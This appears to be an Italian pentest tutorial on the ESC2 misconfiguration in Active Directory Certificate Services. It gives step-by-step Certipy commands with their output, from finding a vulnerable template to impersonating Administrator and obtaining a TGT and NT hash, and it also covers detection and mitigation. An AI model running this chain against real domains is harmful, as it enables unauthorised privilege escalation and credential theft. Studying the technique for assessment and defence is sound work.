ESC2 AD CS: Any Purpose EKU, Enrollment Agent e Certipy

ESC2 in Active Directory Certificate Services: template Any Purpose e abuso come Enrollment Agent #

ESC2 è una misconfigurazione di Active Directory Certificate Services (AD CS) in cui un certificate template concede un EKU troppo ampio: Any Purpose oppure nessun EKU definito (template configurato come Subordinate CA). Un certificato con queste caratteristiche può essere usato per praticamente qualsiasi scopo — incluso, in certe condizioni, come certificato Enrollment Agent per richiedere certificati a nome di altri utenti.

Questo è il punto che la bozza originale di questo articolo semplificava troppo: Any Purpose non è l’EKU Certificate Request Agent, e il fatto che un certificato possa fare da agente non è automatico — dipende dalla versione del template target (V1 o V2+) e da come è configurata la CA.

Glossario rapido #

Per i concetti base: Certipy: guida completa, EKU OID in AD CS: guida per il pentest.

Any Purpose non è Certificate Request Agent — ma può comportarsi come tale #

I due OID identificano scopi distinti:

• Any Purpose: 2.5.29.37.0
• Certificate Request Agent: 1.3.6.1.4.1.311.20.2.1

Un certificato con EKU Any Purpose non contiene letteralmente l’OID Certificate Request Agent nella propria estensione. Quello che succede è diverso: siccome Any Purpose dichiara che il certificato è valido per qualunque scopo, Windows lo accetta anche nei contesti dove normalmente si richiederebbe specificamente l’EKU Certificate Request Agent — inclusa la firma di richieste on-behalf-of.

Ma questa equivalenza non vale sempre nello stesso modo:

La distinzione che decide se l’attacco funziona: template target V1 o V2+ #

Questo è il prerequisito più sottovalutato nella bozza originale. Un certificato Any Purpose (o senza EKU) può essere usato come agente senza ulteriori requisiti solo contro template target Schema Version 1 — i template V1 (incluso il built-in User) non hanno il concetto di “firme autorizzate” né di Required Application Policies.

Contro un template target V2 o successivo, invece, serve che il certificato dell’agente soddisfi la specifica Required Application Policy impostata su quel template — e un certificato Any Purpose generico non la soddisfa automaticamente, a meno che Any Purpose non sia esplicitamente ammessa in quella policy.

Quando esiste una vulnerabilità ESC2 #

Condizioni necessarie sul template sorgente:

• La CA Enterprise concede diritti di enrollment all’identità dell’attaccante.
• Il template concede diritti di enrollment alla stessa identità (spesso Domain Users o Authenticated Users).
• Manager approval disabilitato.
• Authorized signature disabilitato (0 firme richieste).
• Il template ha EKU Any Purpose oppure nessuna EKU (Subordinate CA).

A questo va aggiunto, separatamente, un template target idoneo (vedi tabella sopra) e le eventuali Enrollment Agent Restrictions configurate sulla CA, che possono limitare quali account/template sono autorizzati a usare la delega di enrollment indipendentemente da cosa dice il singolo template.

Identificazione con Certipy #

certipy find -u 'attacker@corp.local' -p 'Passw0rd!' -dc-ip 10.0.0.100 -vulnerable -stdout

Output tipico sul template sorgente:

Template Name : AnyPurposeCert
Any Purpose   : True

[!] Vulnerabilities
    ESC2 : Template can be used for any purpose
    ESC3 : Template has Certificate Request Agent EKU set

E sul possibile template target:

Template Name   : User
Schema Version  : 1
Client Authentication : True

Remarks
    ESC2 Target Template
    ESC3 Target Template

Come interpretare questi campi (la bozza originale li trattava come prova sufficiente — non lo sono):

Exploitation #

Step 1 — Ottenere il certificato Any Purpose

certipy req \
  -u 'attacker@corp.local' -p 'Passw0rd!' \
  -dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
  -template AnyPurposeCert

Successfully requested certificate
Saving certificate to attacker.pfx

Step 2 — Richiedere un certificato per Administrator usando il certificato come agente

certipy req \
  -u 'attacker@corp.local' -p 'Passw0rd!' \
  -dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
  -template User \
  -pfx attacker.pfx \
  -on-behalf-of 'CORP\Administrator'

Nota la correzione rispetto alla bozza originale: 'CORP\Administrator' va tra apici singoli. In Bash, senza quoting, il backslash può essere interpretato o rimosso durante il parsing del comando — con gli apici singoli la stringa arriva intatta a Certipy.

Successfully requested certificate
Saving certificate to administrator.pfx

Step 3 — Autenticazione

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100

Got TGT
Got NT hash for 'administrator'

Cosa conferma davvero ogni output — non dare nulla per garantito #

Un “Domain Admin” a fine catena richiede che l’account impersonato sia davvero privilegiato e che l’autenticazione vada a buon fine end-to-end — non è un risultato automatico della sola esistenza di ESC2.

Troubleshooting #

Detection #

Vale la pena separare tre livelli, spesso confusi in una sola sezione “Detection”:

1. Identificazione della misconfigurazione (assessment, non detection di un abuso):

certipy find -u 'attacker@corp.local' -p 'Passw0rd!' -dc-ip 10.0.0.100 -vulnerable -stdout

2. Monitoraggio dell’abuso effettivo, sulla CA:

Questi eventi richiedono che l’auditing sia abilitato sia sul filtro della CA sia tramite Advanced Audit Policy del sistema operativo: configurare solo uno dei due non basta.

3. Verifica dell’impatto: quali certificati emessi tramite on-behalf-of hanno effettivamente portato a un’autenticazione riuscita, e con quali privilegi — questo richiede di correlare i log della CA con gli eventi di autenticazione sul DC, non è qualcosa che certipy find da solo può dirti.

Mitigation #

1. Evitare EKU Any Purpose o vuote sui template, specialmente quelli con enrollment aperto a Domain Users/Authenticated Users.
2. Limitare l’enrollment sui template che possono comportarsi da agente — non concederlo a gruppi ampi.
3. Abilitare Manager Approval dove il processo di business lo consente.
4. Configurare le Enrollment Agent Restrictions sulla CA, per limitare esplicitamente quali account/template possono usare la delega di enrollment, indipendentemente dalla configurazione del singolo template.
5. Sui template target V2+, impostare Required Application Policies e Authorized Signatures Required per impedire che un certificato Any Purpose generico basti da solo.

Una correzione rispetto alla bozza originale: non è possibile eliminare i template V1 predefiniti come User o Machine — sono installati di default e Microsoft non lo consente, oltre ad avere opzioni di configurazione limitate rispetto ai V2+. La mitigazione realistica è: non pubblicare sulla CA i template V1 non necessari, e dove serve mantenere funzionalità equivalente, usare template V2+ con i vincoli sopra descritti. Cambiare la configurazione della CA, inoltre, non modifica né revoca i certificati già emessi in precedenza con la configurazione vulnerabile.

FAQ #

Cos’è ESC2? Un template AD CS con EKU Any Purpose o senza EKU, che permette di ottenere un certificato utilizzabile — in determinati scenari — come certificato Enrollment Agent per richiedere certificati a nome di altri utenti.

ESC2 è la stessa cosa di ESC3? No, ma si sovrappongono. ESC2 riguarda template con EKU Any Purpose/vuota; ESC3 riguarda template con l’EKU Certificate Request Agent esplicita. Un certificato Any Purpose può comportarsi come agente negli stessi scenari di ESC3, ma i due OID restano distinti.

Quando un certificato Any Purpose è davvero utilizzabile come enrollment agent? Sempre contro template target Schema Version 1 (se gli altri prerequisiti sono soddisfatti). Contro template V2+, solo se la Required Application Policy del target lo consente esplicitamente.

ESC2 porta sempre a Domain Admin? Può, quando esiste una catena completa — template sorgente abusabile, template target idoneo, nessuna restrizione bloccante sulla CA, e autenticazione riuscita contro un account effettivamente privilegiato — ma non è un risultato garantito dalla sola presenza della misconfigurazione.

Perché Certipy segnala un template target ma il test non riesce? Perché l’indicatore ESC2/ESC3 Target Template segnala un candidato, non una conferma: verifica permessi effettivi, Enrollment Agent Restrictions della CA e, sui target V2+, le Required Application Policies.

Guida completa a tutte le tecniche ESC1–ESC16: AD CS Privilege Escalation con Certipy.

Fonti tecniche: Certipy — Privilege Escalation Wiki, SpecterOps — Certificates and Pwnage and Patches, Oh My!.